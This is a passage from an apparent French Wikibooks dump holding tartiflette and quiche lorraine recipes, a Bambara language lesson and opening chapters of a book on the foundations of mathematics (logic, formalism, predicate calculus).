avant de poser le reblochon. * Faites cuire 15 cl de bouillon de bœuf avec 20 cl de crème faîche ajoutez le reblochon coupé en fines lamelles et faites le fondre à feu doux, salez et poivrez, ajoutez de la noix de muscade avant de verser la préparation sur les pommes de terre. * Faites sauter à la poêle, un poivron rouge coupé en petits carrés avec 30 g de beurre et faites fondre l'oignon et de l'ail émincé avant d'ajouter les pommes de terre. * Cuire plus chaud et moins longtemps. [[Image:Tartiflettelardons.jpg]] <br /> Retour [[Livre_de_Cuisine]] Cuisine:Recettes de la Lorraine 2648 14229 2005-02-20T14:51:39Z Antoinel 182 == La quiche lorraine == La recette traditionelle de la '''quiche lorraine''' ne contient ni lait, ni fromage. ====Ingrédients pour 6 personnes==== * 1 pâte brisée, * 125 grammes de lard fumé coupé en tout petits dés, * 1/2 litre de crème fraîche, 10 cl de crème aigre, * 4 œufs, * sel de cuisine, poivre. ====Préparation==== * Étalez la pâte brisée et disposez-la au fond d'un moule à tarte et étalez dessus les petits dés de lard fumé. * Dans un récipient, battez les œufs entiers comme pour une omelette, tout en remuant, ajoutez la crème fraîche, puis la crème aigre, salez et poivrez. * Versez la préparation dans le moule à tarte sur la pâte brisée. * Faites cuire la quiche une quarantaine de minutes au four préchauffé à 180 °C. Retour : [[Livre_de_Cuisine]] Modèle:Étagère des Sciences humaines et sociales 2651 22467 2005-10-01T17:37:52Z 81.67.5.61 <center>'''<big>Sciences humaines et sociales</big>'''</center> '''D<small>ROIT</small>''' - [[Droit administratif]] [[Image:25%.png]] - '''É<small>CONOMIE</small>''' - '''H<small>ISTOIRE</small>''' - [[Histoire de l'Europe]] [[Image:25%.png]] - [[Contexte historique de la Bible]][[Image:25%.png]] - '''L<small>INGUISTIQUE</small>''' - [[Petit guide de transcription phonétique|La transcription phonétique]] [[Image:75%.png]] - [[Symboles de l'Alphabet Phonétique International utilisés dans la transcription du français|Alphabet phonétique]] [[Image:100%.png]] - [[La morphologie]] [[Image:25%.png]] - [[Linguistique Formelle]] [[Image:25%.png]] - '''[[Philosophie|P<small>HILOSOPHIE</small>]]''' - [[Manuel de philosophie (terminale)|Manuel de philosophie]] [[Image:25%.png]] - [[Histoire de la philosophie]] [[Image:25%.png]] - '''P<small>SYCHOLOGIE</small>''' - [[Psychologie de l'enfant et de l'adolescent|L'Enfant et l'Adolescent]] [[Image:25%.png]] - '''R<small>ELIGION</small>''' - [[Judaïsme]] [[Bouddhisme]] [[Image:25%.png]] - '''S<small>OCIOLOGIE</small>''' - [[Outils méthodologiques (sociologie)|Outils méthodologiques]] [[Image:25%.png]] Bambara : Leçon 3 2652 14233 2005-06-12T08:26:16Z 81.53.203.223 {{bambara}} ;allah ka tile here caya : que dieu augmente le bonheur de la journée ;caya : augmenté ;amiina : amen ;n'y'a famu : je le comprends ;i y'a famu? : tu le comprends? ;ne m'a famu : je ne le comprends pas ---- ;here tile na? ;a ni wula : bonsoir (qu'on ne di pas pour quitter qqun) ;kansi : bonne soirée ;tile : d'environs 11 à 16 heures (pron: ''tle'') ---- ;fana : aussi ;terike : ami (proche) ;terimuso : amie (proche) ;tenènmuso : tante ;bènke : oncle ---- ==Passé== Normalement le passé est formé avec le suffixe "-ra". *taa (aller) - taara *bo (venir de) - bora Sauf les verbes qui finissent... * sur "n" ou "m", sur "-na" ** '''na''' (venir) - ''nana'', et * sur "l" ou "r" sur "-la" ** furu (marié) - furula ** wuli - wulila ;na yan : viens ici ;i tè na wa? : est-ce que tu viens pas? ;Mohammed bè taa : Mohammed va ;Binta tè taa : Bintu ne va pas ;nana : venu ;Fatu taara baara yoro la : Fatu est parti pour son lieu de travail ;Ne bora Kanada : je suis venu de Canada ;sigi : s'asseoir ;tila : finir (un travail) ;tilala : fini ;ban : finir ;baara banna : le travail est fini ;sa : mourir ;a banna : c'est fini ;sogo banna : la viande est finie ---- ==Les jours== ;ntènen : lundi ;tarata : mardi ;araba : mercredi ;alamisa : jeudi ;juma : vendredi ;sibiri : samedi ;bankari : dimanche ;kow ka nyin : les choses vont bien? ;u ka nyin dooni : les choses vont bien ;u man nyin : ca va pas ;dunan : étrange ;jamana : pays ;Jamanatigi : président '''tun''' est un particle qui indique le passé de tous les formes d'être. {{ébauche}} Fondements des mathématiques 2654 18374 2005-08-03T13:00:48Z Thierry Dugnolle 206 /* Comment prouver la fiabilité des principes ? */ {{Fondements des mathématiques}} Ce livre expose les principes généraux des mathématiques, c’est à dire les principes de la logique et des théories des ensembles. Il n’expose pas les principes particuliers à différents domaines des mathématiques (analyse, algèbre, ...). ==Que sont les mathématiques ?== Ce chapitre 1 expose et discute diverses réponses aux questions sur la nature des mathématiques. [[Fondements des mathématiques:Chapitre1|Texte du chapitre 1]] ===La science des nombres et de l’espace=== ===La science des formes de déduction=== ===La science de tous les mondes possibles=== ===Autres approches=== ==La logique== Ce chapitre 2 expose les principes de la logique, c’est à dire les principes qu’il faut respecter pour faire des déductions valides. [[Fondements des mathématiques:Chapitre2|Texte du chapitre 2]] ===L’évidence naturelle=== ===Les raisons du formalisme=== ===La grammaire du calcul des prédicats=== [[Fondements des mathématiques:Grammaire des prédicats|Texte de cette section]] ===La déduction naturelle=== [[Fondements des mathématiques:Déduction naturelle|Texte de cette section]] ===Autres formulations des principes de la logique du premier ordre=== [[Fondements des mathématiques: d'autres formulations des principes de la logique du premier ordre|Texte de cette section]] ===Les logiques d’ordre supérieur=== [[Fondements des mathématiques: les logiques d'ordre supérieur|Texte de cette section]] ===La théorie des modèles=== [[Fondements des mathématiques:Théorie des modèles|Texte de cette section]] ===Les définitions=== [[Fondements des mathématiques: les définitions|Texte de cette section]] ===L'égalité=== [[Fondements des mathématiques: l'égalité|Texte de cette section]] ===La complétude de la logique du premier ordre=== [[Fondements des mathématiques:Complétude de la logique du premier ordre|Texte de cette section]] ==Les expressions formelles, les ensembles et les fonctions== Ce chapitre 3 expose les problèmes de l’existence des êtres mathématiques. Qu’est-ce qui existe au sens mathématique ? Un être mathématique c’est quoi ? [[Fondements des mathématiques:Chapitre 3|Texte du chapitre 3]] ===L’ontologie mathématique=== ===L’existence des extensions conceptuelles, Frege et le paradoxe de Russell=== ===Qu’est-ce qu’un ensemble ?=== ===Les ensembles indicibles=== ===Les systèmes formels=== ===L’existence des non-ensembles=== ===La théorie cantorienne des nombres infinis=== ===Le théorème de l’incomplétude ontologique : il existe des ensembles indicibles=== ==L’incomplétude mathématique== Ce chapitre 4 expose et prouve plusieurs théorèmes sur l'incomplétude des principes mathématiques. [[Fondements des mathématiques:Chapitre 4|Texte du chapitre 4]] ===Le paradoxe du menteur=== ===Les prédicats de vérité et le théorème d’incomplétude de Tarski=== ===Les prédicats de prouvabilité et le premier théorème d’incomplétude de Gödel=== ===Les ensembles indicibles sont indéfinis=== ===Les ensembles décidables et énumérables=== ===Le théorème fondamental de l’indécidabilité et le problème de Türing=== ===Où sont les axiomes manquants ?=== ==Les axiomes des théories des ensembles== Ce chapitre 5 expose des axiomes pour les théories des ensembles. Plusieurs approches complémentaires sont présentées. [[Fondements des mathématiques:Chapitre 5|Texte du chapitre 5]] ===L’axiome d’extensionalité=== ===L’approche de Zermelo, Fraenkel et Skolem=== ===Une reformulation de ZFC, la théorie des classes de Von Neumann, Gödel et Bernays=== ===La théorie des types de Whitehead et Russell=== ===La théorie du zig-zag interdit de Quine=== ===Le problème des définitions non-prédicatives=== ===Les ensembles finitaires=== ===Les ensembles infinitaires=== ===L’axiome de fondation, la circularité et les hyperensembles=== ==Des preuves de cohérence== Ce chapitre expose des preuves de cohérence des principes mathématiques. Il est plus audacieux que les précédents, pour lesquels presque tous les résultats présentés sont connus et prouvés depuis des décennies. [[Fondements des mathématiques:Chapitre 6|Texte du chapitre 6]] ===Comment prouver la fiabilité des principes ?=== ====Qu’est-ce qu’une preuve ?==== ====Comment prouver la vérité des axiomes ?==== ====A quoi servent les méthodes formelles ?==== ====Le programme de Hilbert==== ===Les preuves de cohérence par la théorie des modèles=== ===Une preuve naturelle de la cohérence de l’arithmétique formelle=== [[Fondements des mathématiques : une preuve naturelle de la cohérence de l'arithmétique formelle|Texte de cette section]] ===La construction finitaire de l’ensemble des vérités à partir d’un modèle=== [[Fondements des mathématiques : la construction finitaire de l'ensemble des vérités|Texte de cette section]] ===Une preuve formelle de la cohérence de l’arithmétique formelle=== [[Fondements des mathématiques : une preuve formelle de la cohérence de l'arithmétique formelle|Texte de cette section]] ===La cohérence des théories des ensembles finitaires=== [[Fondements des mathématiques : la cohérence des théories finitaires|Texte de cette section]] ===Le second théorème d ’incomplétude de Gödel et le programme de Hilbert=== [[Fondements des mathématiques : le second théorème d'incomplétude de Gödel|Texte de cette section]] ===Paradoxes des théories finitaires=== [[Fondements des mathématiques : Paradoxes des théories finitaires|Texte de cette section]] ===La cohérence des théories infinitaires=== [[Fondements des mathématiques : la cohérence des théories infinitaires|Texte de cette section]] ==Conclusion : la fiabilité des principes mathématiques== [[Fondements des mathématiques:Conclusion|Texte de conclusion]] [[Catégorie:Logique mathématique]] Fondements des mathématiques:Chapitre1 2655 14236 2005-04-20T17:54:35Z Guillaumito 46 {{Fondements des mathématiques}} {{Fondements des mathématiques}} <center> <font size="+2"> Que sont les mathématiques ? </font> </center> ---- Ce chapitre expose et discute diverses réponses aux questions sur la nature des mathématiques. ==La science des nombres et de l’espace== Depuis l’antiquité, l’arithmétique et la géométrie sont considérés comme les sciences mathématiques par excellence. Euclide fait figure de père fondateur. La méthode axiomatique utilisée par Euclide était considérée comme un idéal de perfection du raisonnement, à tel point que pour désigner la logique, Pascal disait “l’esprit de géométrie”. Les développements modernes des mathématiques ont cependant rendu obsolète cette définition traditionnelle des objets mathématiques, parce que de nouveaux types de nombres et d’espaces abstraits sont apparus. ==La science des formes de déduction== Une déduction consiste à partir de prémisses pour arriver à une conclusion en procédant par des étapes logiques. On peut dire que toutes les sciences sont mathématiques, même l’histoire, au sens où elles font toutes des déductions, et parce qu’une déduction a toujours quelque chose de mathématique, pourvu qu’elle soit juste. Cependant, en mathématiques, l’étude de la forme du raisonnement, indépendamment de ses objets, a une importance cruciale. Montrons-le sur un exemple. Les mêmes axiomes, ceux des espaces vectoriels, peuvent être utilisés à la fois pour étudier des espaces géométriques, l’espace euclidien par exemple, et pour étudier l’ensemble des solutions d’une équation différentielle linéaire. Les théorèmes sur les espaces vectoriels sont donc valables pour de nombreux objets différents. On peut considérer que la théorie abstraite des espaces vectoriels consiste à étudier toutes les déductions qui partent des mêmes axiomes, indépendamment des objets auxquels ils sont appliqués. On étudie alors les formes de déduction et non les objets auxquels ces formes sont appliquées. Cette définition convient bien aux mathématiques appliquées, parce qu'il s'agit de théories abstraites (les nombres entiers et réels, les fonctions réelles de variable(s) réelle(s) et les équations différentielles, les espaces vectoriels, les groupes, la théorie des probabilités, ...) qui ont une utilité générale pour toutes les sciences. Elles peuvent être appliquées à de nombreux objets. Le travail des mathématiques appliquées consiste à développer ces théories, dont la valeur est universelle, en vue d’aider les autres sciences dans leurs recherches des conséquences. ==La science de tous les mondes possibles== Pour un mathématicien rien n’est impossible sauf ce qui est contradictoire. Par là on veut dire qu’un discours non-contradictoire est à propos d’un monde concevable, imaginable, idéal. De ce point de vue, la mathématique est la théorie de tout ce qu’on peut imaginer. On croit souvent à tort que la connaissance de tous les possibles est une ambition démesurée et irréalisable mais elle ne l’est pas. Elle est à notre portée. Il est même très facile de connaître des vérités universelles, valables pour tous les possibles, le principe du tiers-exclu par exemple. Tout énoncé sur un monde possible y est ou bien vrai, ou bien faux. Ce n’est pas forcément très intéressant mais c’est un début. Le travail des mathématiques pures consiste à augmenter notre capacité à connaître tous les possibles. Il se trouve qu’il y a des théories particulières (les nombres, les groupes, ...) qui jouent un rôle privilégié dans cette connaissance, et qu’elles sont souvent, mais pas toujours, les mêmes que celles qui intéressent les mathématiques appliquées. ==Autres approches== Fondements des mathématiques:Chapitre2 2656 14237 2005-04-20T17:55:16Z Guillaumito 46 {{Fondements des mathématiques}} {{Fondements des mathématiques}} <center> <font size="+2"> La logique </font> </center> ---- Ce chapitre expose les principes de '''la logique''', c’est à dire les principes qu’il faut respecter pour faire des déductions valides. ==L’évidence naturelle== Une déduction est valide lorsque chaque étape est en accord avec une règle logique. Les règles logiques sont souvent reconnues par une sorte d’évidence natuelle. Par exemple, de P et de (Si P alors Q) on peut déduire Q est une règle dont la validité est incontestable. Tout être rationnel qui comprend les mots “si...alors” comprend du même coup que la règle est valide. La notion de naturel est employé par les logiciens principalement en deux sens. S’il s’agit comme ci-dessus d’évidence naturelle, ou de concepts apparentés comme la déduction naturelle, on veut insister sur leur caractère universel et nécessaire pour tout être rationnel. On peut vivre sans jamais savoir que 2+2 = 4 mais on ne peut pas être rationnel sans reconnaître que 2+2 = 4 est nécessaire, dès qu’on nous a appris ce que cela veut dire. Le second sens de la notion de naturel intervient dans la distinction entre les langues naturelles et les langues formalisées, ou artificielles. Les premières sont les langues qui nous sont familières, elles ont été façonnées par des siècles de culture. Les secondes sont inventées par les logiciens pour développer des théories et pour donner des preuves. ==Les raisons du formalisme== L’évidence des principes logiques fait qu’ils sont souvent laissés dans l’implicite. Il semble qu’on n’a pas besoin de les apprendre pour les connaître. Puisque tout le monde les connait, il n’est pas nécessaire de les rappeler. Il y a cependant plusieurs raisons de ne pas se satisfaire de cette logique implicite. Les évidences sont parfois trompeuses. Des études de psychologie ont montré que les êtres humains font des erreurs de logique de façon systématique et que ces erreurs dépendent de la façon dont on présente le problème. L’étude de la logique est donc aussi l’acquisition d’un savoir faire, d’une discipline de l’esprit. Elle est surtout utile pour les théories mathématiques mais elle peut aussi servir plus largement à reconnaître tous les sophismes qui sont hélas très généralement acceptés. Lors de la crise des fondements des mathématiques, les logiciens et les mathématiciens se sont rendus compte que même des axiomes dont la validité semblait naturelle peuvent conduire à des contradictions. L’axiome de Frege, par exemple, tout concept a une extension, autrement dit, pour tout concept il existe un ensemble de tous les êtres pour lesquels ce concept est vrai, conduit à une contradiction. Nous en donnerons la preuve plus loin avec l’exposé du paradoxe de Russell. Plus généralement, la théorie des ensembles, développée initialement par Georg Cantor, se heurtait à des paradoxes. On pouvait déduire à partir de prémisses qui semblaient justes et par une suite d’étapes valides des énoncés contradictoires du type, “c’est ainsi et ce n’est pas ainsi”. Pour résoudre ce problème, il faut être prudent dans le choix de ses axiomes. On est alors conduit à se demander, peut-on oui ou non déduire une contradiction à partir des axiomes ? Pour que cette question puisse recevoir une réponse, il faut être précis, à la fois sur l’énoncé des axiomes et sur les règles de déduction que l’on se propose d’appliquer. Les méthodes formelles répondent à ce problème. On se donne un langage artificiel, c’est à dire un ensemble de symboles (un alphabet), des règles de formation des mots et des phrases (une grammaire), et des règles de déduction (une logique). On peut alors reconnaître si oui ou non une déduction est en accord avec les règles même si on ne comprend pas la signification des phrases. Même les ordinateurs sont alors capables de faire la différence entre les déductions correctes et les autres. La question de la cohérence des théories peut alors être posée d’une façon précise parce qu’une théorie est définie de façon mathématique : l’ensemble de tous les énoncés qui sont ou bien des axiomes, ou bien déduits des axiomes en un nombre fini d’étapes dont chacune respecte une règle formelle. Les langues naturelles ne sont pas adaptées pour la recherche d’une telle précision dans l’énoncé des principes. Elles sont beaucoup trop compliquées. Elles se prêtent mal aux méthodes logiques, parce que si l’on veut respecter les usages, il n’est pas possible de donner des règles à la fois simples, universellement appliquées et valides. Pour le néophyte, les langages formels utilisés par les logiciens semblent parfois très compliqués, mais après les avoir étudiés, il se rendra compte qu’ils sont infiniment plus simples que les langues naturelles. C’est le devoir de paresse, d’économie des moyens, qui est à l’origine de l’invention des formalismes : adopter les moyens d’expression les plus simples pour ne pas s’embarasser de complications inutiles. L’intérêt des formalismes n’est pas vraiment de remplacer les langues naturelles mais on peut les utiliser pour s’exprimer. Les mathématiciens et les physiciens en font un usage très intense. Mais il n’est jamais souhaitable qu’ils remplacent complètement les raisonnements naturels. Il faudrait changer toutes ses habitudes de pensée. Cela ne présente pas d’intérêt parce que pour la plupart des raisonnements courants on sait reconnaître leur validité. On peut souvent traduire les expressions familières dans un formalisme logique. La validité logique d’un raisonnement naturel est alors établie parallèlement à la validité de sa traduction. ==La grammaire du calcul des prédicats== [[Fondements des mathématiques:Grammaire des prédicats|Texte de cette section]] ==La déduction naturelle== [[Fondements des mathématiques:Déduction naturelle|Texte de cette section]] ==Autres formulations des principes de la logique du premier ordre== [[Fondements des mathématiques: d'autres formulations des principes de la logique du premier ordre|Texte de cette section]] ==Les logiques d’ordre supérieur== [[Fondements des mathématiques: les logiques d'ordre supérieur|Texte de cette section]] ==La théorie des modèles== [[Fondements des mathématiques:Théorie des modèles|Texte de cette section]] ==Les définitions== [[Fondements des mathématiques: les définitions|Texte de cette section]] ==L'égalité== [[Fondements des mathématiques: l'égalité|Texte de cette section]] ==La complétude de la logique du premier ordre== [[Fondements des mathématiques:Complétude de la logique du premier ordre|Texte de cette section]] Fondements des mathématiques:Grammaire des prédicats 2657 14238 2005-02-23T00:33:23Z Thierry Dugnolle 206 Création Nous allons exposer les principes d’une grammaire à la fois formalisée et universelle, au sens où elle suffit pour faire tous les énoncés dont on a besoin dans les sciences. Nous expliquerons à la fin ce que prédicat veut dire ici. Il s’agit de dire comment on fait des phrases aves des mots. Les logiciens appellent aussi les phrases des propositions, des énoncés, des assertions, des formules, des thèses, et dans certains cas, des affirmations, des lois, des hypothèses, des axiomes, des théorèmes, des équations, ... ===Les mots=== Les mots les plus simples sont pour les logiciens des symboles, ils sont en général représentés par une lettre, x, f, ou par un signe graphique, =, 1, +, & , ( , ... Les mots composés de plusieurs lettres, Socrate, ..., peuvent être considérés comme des mots simples tant que leurs lettres ne sont pas considérées comme des mots. Cette technique est très utile pour développer un système formel dans un langage semi-naturel. Beaucoup de traités de logique sont difficiles à lire, même pour un spécialiste, parce qu’il faut se familiariser avec le formalisme parfois très particulier de leurs auteurs. Dans ce livre, on introduira pas de symboles logiques particuliers, hormis ceux qui sont bien connus, =, 1, 2,...,+, . (pour la multiplication), et ≠ (pour n’est pas égal à). Toutes les autres notions fondamentales seront traduites par des expressions naturelles. On se limite cependant à une grammaire simplifiée, celle qui va être exposée. Il est très facile de traduire les règles ou les axiomes que nous énoncerons dans un formalisme plus rigoureusement déterminé, avec des règles pour l’usage des parenthèses. Mais cela présente un véritable intérêt surtout pour les études métamathématiques, où les théories sont considérées comme des objets et pour se faire comprendre par un ordinateur. Les mots (vraiment) composés sont obtenus en assemblant plusieurs mots simples. On les appelle aussi des expressions formelles et parfois des formules. Parmi les ensembles de mots, il y en a un qui a une importance particulière pour le calcul des prédicats, c’est l’ensemble des noms des individus ou des êtres sur lesquels porte la théorie, c’est à dire le domaine des noms d’objet, que nous appellerons parfois l’ontologie, ou l’univers, d’une théorie. Les noms d’opérateurs sont les principaux outils pour former des noms composés à partir de noms simples. Les opérateurs sont aussi appelés des fonctions, au sens mathématique. Nous verrons plus loin que les opérateurs logiques servent à former des phrases composées à partir de phrases simples. A partir du nom Pierre on peut former beaucoup d’autres noms avec un seul opérateur, le père de : le père de Pierre, le père du père de Pierre, le père du père du père de Pierre, et ainsi de suite. “Le père de” est un opérateur unaire, ou à une place, ou d’arité 1, parce qu’il s’applique à un seul nom d’objet. A partir de 1 et de l’opérateur binaire +, on peut former de nombreux noms : 1+1, (1+1)+1, (1+1)+1, 1+((1+1)+1), ... Le résultat d’un opérateur binaire o appliqué à deux individus x et y est noté o(x,y), oxy (dans la notation de Lukasiewicz), ou xoy. Les noms d’opérateurs peuvent être introduits, dans un langage semi-naturel. Par exemple, “l’enfant de Pierre et Marie” peut être considéré comme obtenu par l’application de l’opérateur binaire “l’enfant de...et” aux deux êtres Pierre et Marie. Il peut être écrit e(P,M) ou ePM ou PeM. On se sert souvent des parenthèses pour indiquer clairement la façon dont les noms composés sont construits à partir de noms simples. La notation de Lukasiewicz, permet de s’en passer, mais les formules deviennent beaucoup moins lisibles. Tant que 1 et + ont leur signification ordinaire 1+(1+1) est égal à (1+1)+1 mais ce n’est pas vrai pour tous les opérateurs binaires : l’enfant de (l’enfant de Pierre et Marie) et Socrate n’est pas égal à l’enfant de Pierre et l’enfant de Marie et Socrate, s’il existe. De façon symbolique e(e(P,M),S) est différent de e(P,e(M,S)). On pourrait se servir de la première notation pour l’addition et dire que +(1,+(1,1)) est égal à +(+(1,1),1). Mais justement parce que ces deux nombres sont égaux, il vaut bien mieux écrire x+y que +(x,y). Cela permet de supprimer toutes les parenthèses, 1+1+1, parce que dans ce cas il n’y a pas d’ambiguïté. Mais on ne peut pas faire la même chose avec l’opérateur “l’enfant de” parce que (PeM)eS est différent de Pe(MeS). La notation xoy permet en général d’économiser des parenthèses et elle est souvent plus lisible mais elle ne va que pour les opérateurs binaires. Pour un opérateur ternaire ou plus, il faut revenir à la première notation, o(x,y,z) , ou oxyz, ou à des formulations plus compliquées. Les noms simples et les noms d’opérateurs suffisent pour faire tous les noms composés dont on a besoin dans les sciences. ===Les prédicats fondamentaux, ou notions premières=== Les phrases les plus simples pour le calcul des prédicats sont les formules atomiques. On les obtient en assemblant un nom de prédicat fondamental avec un ou plusieurs noms d’objet. Par exemple avec trois noms d’objet, Socrate, Pierre, Marie, et deux noms de prédicat unaire, est un homme, est une femme, on peut faire six formules atomiques : Socrate est un homme, Marie est une femme, ... “est une femme” est un prédicat unaire parce qu’il s’applique à un individu, c’est une qualité. “est amoureux de” est un prédicat binaire, parce qu’il s’applique à deux individus. C’est une relation binaire. Il y a aussi des relations ternaires. x est produit par y et z est une relation ternaire entre x, y et z. Une règle très généralement acceptée en logique formelle consiste à toujours mettre un prédicat fondamental en premier suivi de ses arguments, c’est à dire les objets auxquels il est attribué. Cela donne humain Socrate pour dire que Socrate est humain et égal x y pour dire que x est égal à y. Pour une relation binaire R on préfère cependant souvent la notation xRy à Rxy. Les équations ou les égalités sont des phrases simples construites avec un prédicat binaire, = , très particulier quant à sa signification, mais qui ne pose pas de difficultés grammaticales. Les noms d’objet et les prédicats fondamentaux permettent de faire toutes les phrases simples dont on a besoin dans les sciences. ===L’algèbre de Boole des phrases complexes=== Les opérateurs logiques permettent de faire des phrases complexes à partir de phrases simples. Les opérateurs booléens sont la négation non, la conjonction et, la disjonction non-exclusive ou, l’implication implique, et quelques autres. La négation est l’opérateur unaire “non” qui permet de faire la phrase non P à partir d’une phrase P. Cet usage adopté par les logiciens donne “non Socrate est humain” pour signifier que Socrate n’est pas humain. Cette façon de nier est pratique quand on veut multiplier les négations à l’intérieur d’une phrase complexe. Elle ne pose pas d’autres difficultés que de choquer les habitudes. Les autres opérateurs booléens sont binaires. La conjonction et la disjonction permettent de faire (P et Q) ainsi que (P ou Q) à partir de P et de Q. Avec la conjonction on peut rassembler plusieurs assertions relatives à une même situation. Avec la disjonction, on peut rassembler plusieurs assertions relatives à plusieurs situations possibles. Les opérateurs booléens permettent ainsi de construire tout ce qui est dicible à partir d’un nombre fini de phrases simples. La notion de conséquence peut être exprimée dans l’algèbre de Boole avec l’opérateur d’implication. P implique Q est souvent plutôt dit sous la forme si P alors Q . L’algèbre de Boole est ainsi nommée parce que Boole a montré qu’on peut écrire certaines lois logiques sous la forme d’équations : non nonP = P non(PouQ) = nonP et nonQ non(si P alors Q) = P et nonQ et beaucoup d’autres. ===Les affirmations d’existence et les lois générales=== Il y a de nombreuses façons de formuler des lois et des énoncés d’existence. La meilleure et de très loin au point de vue mathématique consiste à faire usage de noms de variable, ces x et ces y qui torturent parfois les esprits des élèves. Pour les logiciens, les mathématiciens et tous les scientifiques, les noms de variable sont pourtant des outils magnifiques. Toutes les difficultés de la syllogistique d’Aristote deviennent claires comme l’eau de roche dès qu’on a compris ce qu’on peut faire avec des noms de variable. L’usage des noms de variable est très ancien, au moins aussi ancien que la géométrie. Aristote s’en est même servi pour énoncer les lois de la syllogistique. Mais il n’a pas compris que les règles syllogistiques elles-mêmes peuvent être déduites à partir d’un usage raisonné des noms de variable. Celui-ci a d’abord été développé par des algébristes, parce que les variables sont très utiles dans les équations. Frege et les autres inventeurs de la grande logique des classes et des relations, ceux qui ont réalisé la grande idée de Leibniz, la mathesis universalis, le calcul rationnel universel, qu’on appelle aujourd’hui le calcul des prédicats du premier ordre, ont compris tout le profit que l’on pouvait tirer de l’usage des variables. L’usage des noms de variable, c’est la puissance de la généralité, c’est une des manifestations les plus claires de la grandeur de la raison. Au point de vue de la grammaire, les variables ne posent au premier abord aucune difficulté particulière. Les noms de variable sont des mots comme les autres. Il suffit de préciser de quoi ils sont des variables, objet, classe, relation, opérateur, ... On peut utiliser dans une phrase les noms de variable comme tous les autres noms. x est humain. Les lois et les affirmations d’existence sont faites avec deux types d’opérateurs unaires construits sur les noms de variable. (pour tout x) et (il existe un x tel que) sont deux opérateurs unaires associés au nom de variable x. Le premier est l’opérateur universel en x, ou opérateur de généralisation. Le second est l’opérateur existentiel en x, ou opérateur d’existentiation. On les appelle aussi des quantificateurs. Les formules qui les contiennent sont dites quantifiées. L’affirmation que tous les humains sont mortels est traduite dans le calcul des prédicats par, pour tout x, si x est humain alors x est mortel. C’est le résultat de l’application de l’opérateur (pour tout x) sur la phrase complexe (si x ext humain alors x est mortel). L’affirmation qu’il y a au moins un être humain est traduite de même par, il existe un x tel que x est humain. Les occurences d’un nom de variable dans une phrase sont tous les endroits où ce nom apparait. Une occurence peut être libre ou liée. Quand un opérateur existentiel ou universel en x est appliqué à une phrase complexe, toutes les occurences de x deviennent liées, ou quantifiées, par cet opérateur. Toutes les occurences qui ne sont pas ainsi liées sont libres. Dans les théories du premier ordre, seules les variables d'objet peuvent être liées. Le domaine des objets, ou domaine d'existence, ou univers, ou ontologie, de la théorie, est aussi son domaine de quantification. La distinction entre variable libre et variable liée est l’une des plus importantes pour la grammaire du calcul des prédicats. Elle est essentielle pour comprendre que les concepts sont des prédicats. Les opérateurs booléens et les opérateurs universels et existentiels suffisent pour construire à partir des formules atomiques tous les énoncés dont on a besoin dans les sciences. ===Les concepts sont des prédicats=== Les prédicats d’une théorie sont d’abord ses prédicats fondamentaux, ceux que l’on peut identifier à ses notions premières. A partir d’eux, des objets de base, des variables et des opérateurs, on peut construire de nombreux prédicats dérivés, ou définis, à l’intérieur de la théorie. Il suffit d’écrire des formules qui contiennent des variables libres. Une formule qui contient une seule variable libre nomme un prédicat unaire. C’est un concept qualitatif. Une formule qui contient deux et seulement deux variables libres nomme un prédicat binaire, ou relation binaire, ou concept relationnel binaire. Quel que soit leur nombre de variables libres, pourvu qu’il soit au moins égal à un, les formules nomment des concepts. Le concept de nombre premier peut être défini par le prédicat suivant, à l’intérieur de la théorie des nombres, supposés ici entiers positifs. x est un nombre et pour tous nombres y et z, si y et z ne sont pas égaux à 1 alors x n’est pas égal à y fois z. Dans la formule ci-dessus, les variables y et z sont liées. x est la seule variable libre. Cette formule est vraie si et seulement si x est un nombre premier. On peut donc la considérer comme un nom du concept de nombre premier. Les concepts sont ou bien des notions premières, être un nombre, être égal à, être un ensemble, être dans, ... ou bien des notions dérivées, ne pas être égal à, être un nombre premier, ... Dans tous les cas, ce sont des prédicats. Le calcul des prédicats est le calcul des concepts. Les concepts les plus fondamentaux sont en général ou bien qualitatifs, c’est à dire unaires, ou bien bien relationnels binaires. La logique d’Aristote est presque exclusivement consacrée aux concepts qualitatifs. Pour faire la science il faut faire des concepts. Pour la logique du premier ordre, les matériaux de base sont les notions premières, ou prédicats fondamentaux, les objets de base, les opérateurs d’objet, les variables d’objet, et un petit nombre d’opérateurs logiques, les opérateurs booléens et les opérateurs de généralisation et d’existentiation. Les règles de construction sont simplement celles qui viennent d’être présentées. Toutes les formules grammaticalement correctes de la logique du premier ordre nomment des concepts dès qu’elles contiennent des variables libres. La logique n’impose pas d’autres limites à la pensée que celles de la correction grammaticale. En ce sens, on peut voir le calcul des prédicats comme un chemin de libération intellectuelle, parce qu’il permet de penser tout ce qu’on veut, et de le faire sans tomber dans l’absurdité. ===Une présentation plus formelle du calcul des prédicats=== On se donne : * <math>V</math> un ensemble de symboles appelés ''variables'', toujours infini. * <math>C</math> un ensemble de symboles appelés ''constantes'', éventuellement vide. * <math>P</math> un ensemble de symboles de ''prédicats'' * <math>F</math> un ensemble de symboles de ''fonctions'', éventuellement vide. Chaque symbole de prédicat ou de fonction se voit affectée une ''arité'' (un entier naturel), qui détermine le nombre d'arguments. * les symboles <math>\forall</math> et <math>\exists</math>, appelés ''quantificateurs'' * les symboles ¬, <math>\wedge</math>, <math>\or</math>et <math>\implies</math>, qui sont les ''connecteurs logiques'' du calcul des propositions (on peut en ajouter d'autres, on peut aussi en enlever pour se contenter de ¬ et <math>\wedge</math>, ou d'un autre système minimal) On pourrait de contenter d'un seul quantificateur <math>\forall</math> et de deux connecteurs logiques ¬ et <math>\wedge</math> sans perdre en expressivité. On appellera ''termes'' les formules composées ainsi : * <math>x \in V </math> est un terme, * <math>x \in C </math> est un terme, * si <math>f</math> est un symbole de fonction ''n''-aire et <math>t_1,t_2,\dots,t_n</math> sont des termes, alors <math>f\; t_1 t_2 \dots t_n</math> est un terme. Appelons <math>T</math> l'ensemble des termes. Les énoncés du calcul des prédicats du premier ordre sont les suivants, et uniquement les suivants (appelons <math>E</math> l'ensemble des énoncés): * <math>p\; t_1 t_2 \dots t_n</math> si <math>(t_1,t_2,\dots,t_n)\in T^n </math>, <math>p\in P </math> et p est ''n''-aire (une telle formule est appelée un ''atome'' ou une ''formule atomique'') * <math>e_1\wedge e_2</math> si <math>e_1,e_2\in E</math> * <math>e_1\or e_2</math> si <math>e_1,e_2\in E</math> * <math>e_1\implies e_2</math> si <math>e_1,e_2\in E</math> * <math>\neg e</math> si <math>e\in E</math> * <math>\forall x (e)</math> si <math>e\in E</math> et <math>x\in V</math> * <math>\exists x (e)</math> si <math>e\in E</math> et <math>x\in V</math> Ce système très formel peut 